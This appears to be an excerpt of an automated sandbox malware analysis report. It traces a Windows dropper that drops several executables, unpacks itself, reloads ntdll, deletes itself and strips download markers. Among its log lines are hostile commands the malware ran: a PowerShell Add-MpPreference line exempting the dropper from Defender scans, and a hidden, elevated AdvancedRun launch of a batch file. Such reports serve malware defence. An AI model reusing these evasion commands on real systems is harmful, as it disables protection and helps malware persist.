Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /SpecialRun 4101d8 5988
Source: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /SpecialRun 4101d8 780

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Code function: 25_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		25_2_00408FC9
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Code function: 28_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		28_2_00408FC9

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\8908.tmp

Jump to behavior

Source: 60DF.exe, 00000018.00000000.509231538.0000000000442000.00000002.00020000.sdmp, 60DF.exe.6.dr	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: sqlite3.dll.29.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3.dll.29.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 60DF.exe, 00000018.00000000.509231538.0000000000442000.00000002.00020000.sdmp, 60DF.exe.6.dr	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));
Source: sqlite3.dll.29.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3.dll.29.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3.dll.29.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3.dll.29.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3.dll.29.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe

Code function: 25_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

25_2_004095FD

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5032:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6248:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\6E1E.exe

Command line argument: \H

27_2_0043C2B0

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\37D8.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: y8WngeDn4q.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: y8WngeDn4q.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: y8WngeDn4q.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: y8WngeDn4q.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: y8WngeDn4q.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: y8WngeDn4q.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: y8WngeDn4q.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\vojos\fuw.pdb source: 4EDC.exe, 00000016.00000002.528243755.0000000000417000.00000002.00020000.sdmp, csdfufc.6.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: DAA6.exe.6.dr
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001C.00000002.528560998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000021.00000002.570535756.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000024.00000000.565833998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.19.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: DAA6.exe.6.dr
Source:	Binary string: C:\ciwomo siju28 nijohon\93-loze\2.pdb source: 6E1E.exe, gbdfufc.6.dr
Source:	Binary string: +C:\tuy.pdb` source: y8WngeDn4q.exe
Source:	Binary string: C:\lewusukoviv.pdb source: FBAD.exe.6.dr
Source:	Binary string: C:\tuy.pdb source: y8WngeDn4q.exe
Source:	Binary string: wntdll.pdbUGP source: 4EDC.exe, 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, 1105.tmp.22.dr
Source:	Binary string: wntdll.pdb source: 4EDC.exe, 1105.tmp.22.dr
Source:	Binary string: `C:\ciwomo siju28 nijohon\93-loze\2.pdb` source: 6E1E.exe, 0000001B.00000000.521192744.0000000000401000.00000020.00020000.sdmp, gbdfufc.6.dr
Source:	Binary string: bC:\ciyomolibit\vowudavumaz68\fubevu\vatatageh\yayawav\duji.pdb` source: E4D7.exe.6.dr
Source:	Binary string: :C:\venu4-divilavujar1.pdb` source: B74C.exe.6.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: FBAD.exe.6.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: C651.exe.6.dr
Source:	Binary string: C:\venu4-divilavujar1.pdb source: B74C.exe.6.dr
Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxzip32\Release\sfxzip.pdb source: E11F.exe.6.dr
Source:	Binary string: C:\ciyomolibit\vowudavumaz68\fubevu\vatatageh\yayawav\duji.pdb source: E4D7.exe.6.dr

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	Unpacked PE file: 29.2.E4D7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\C651.exe	Unpacked PE file: 41.2.C651.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Unpacked PE file: 22.2.4EDC.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cipizi:R;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Unpacked PE file: 27.2.6E1E.exe.400000.0.unpack .text:ER;.data:W;.daya:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	Unpacked PE file: 29.2.E4D7.exe.400000.0.unpack .text:ER;.data:W;.vif:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\C651.exe	Unpacked PE file: 41.2.C651.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.xoj:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

.NET source code contains potential unpacker

Show sources

Source: 3AE.exe.6.dr, SimplePaint/FrmMain.cs

.Net Code: TypeNameBuilder System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402E54 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402E63 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402665 push cs; ret	22_2_0040266B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_0040290C push eax; iretd	22_2_0040290D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402E16 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402DC0 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402DD8 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402DE8 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402DF1 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402E82 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402E85 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402D92 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402E95 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00401D9A pushad ; ret	22_2_00401DA3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_00402E9C push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C05D0D1 push ecx; ret	22_2_6C05D0E4
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Code function: 25_2_0040B550 push eax; ret	25_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Code function: 25_2_0040B550 push eax; ret	25_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Code function: 25_2_0040B50D push ecx; ret	25_2_0040B51D
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401A61 push ds; retf	27_2_00401A69
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401569 push edx; iretd	27_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401569 push edx; iretd	27_2_004015EB
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00402874 push esp; iretd	27_2_00402875
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401575 push edx; iretd	27_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00402F19 push eax; ret	27_2_00402FEA
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_004015D3 push edx; iretd	27_2_004015EB
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_004026D8 push ds; retf	27_2_004026DC
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401580 push edx; iretd	27_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401981 push ebx; retf	27_2_00401982
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401591 push edx; iretd	27_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_00401595 push edx; iretd	27_2_004015D2

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

Code function: 0_2_00426B60 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00426B60

Source: 37D8.exe.6.dr

Static PE information: 0x8B87D1F5 [Mon Mar 7 03:28:53 2044 UTC]

Source: y8WngeDn4q.exe	Static PE information: section name: .zegu
Source: 4EDC.exe.6.dr	Static PE information: section name: .cipizi
Source: 8908.exe.6.dr	Static PE information: section name: .zegu
Source: C651.exe.6.dr	Static PE information: section name: .xoj
Source: B74C.exe.6.dr	Static PE information: section name: .yopu
Source: E4D7.exe.6.dr	Static PE information: section name: .vif
Source: 6E1E.exe.6.dr	Static PE information: section name: .daya
Source: esdfufc.6.dr	Static PE information: section name: .zegu
Source: csdfufc.6.dr	Static PE information: section name: .cipizi
Source: gbdfufc.6.dr	Static PE information: section name: .daya

Source: 60DF.exe.6.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c
Source: 37D8.exe.6.dr	Static PE information: real checksum: 0x8ddc4 should be: 0x7fd66
Source: 3FD8.exe.6.dr	Static PE information: real checksum: 0x10f50 should be: 0x5be1
Source: 3AE.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x4147a
Source: E11F.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x114b9d

Source: initial sample	Static PE information: section name: .text entropy: 6.98983847511
Source: initial sample	Static PE information: section name: .text entropy: 7.85713092672
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 7.29655075024
Source: initial sample	Static PE information: section name: .text entropy: 6.98983847511
Source: initial sample	Static PE information: section name: .text entropy: 7.8779018043
Source: initial sample	Static PE information: section name: .text entropy: 7.83302446106
Source: initial sample	Static PE information: section name: .text entropy: 7.66753616933
Source: initial sample	Static PE information: section name: .text entropy: 7.86107035261
Source: initial sample	Static PE information: section name: .text entropy: 7.66469899227
Source: initial sample	Static PE information: section name: .text entropy: 7.79620991915
Source: initial sample	Static PE information: section name: .text entropy: 6.98189062284
Source: initial sample	Static PE information: section name: .text entropy: 6.98983847511
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 6.98189062284

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\esdfufc	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\csdfufc	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gbdfufc	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B74C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3AE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\60DF.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6E1E.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4EDC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3FD8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FBAD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	File created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C651.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FC0C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gbdfufc	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\esdfufc	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8908.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E4D7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E11F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\37D8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DAA6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\csdfufc	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	File created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D083.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe

Code function: 25_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

25_2_00401306

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\y8wngedn4q.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\esdfufc:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe

Code function: 25_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

25_2_00408E31

Source: C:\Users\user\AppData\Local\Temp\60DF.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
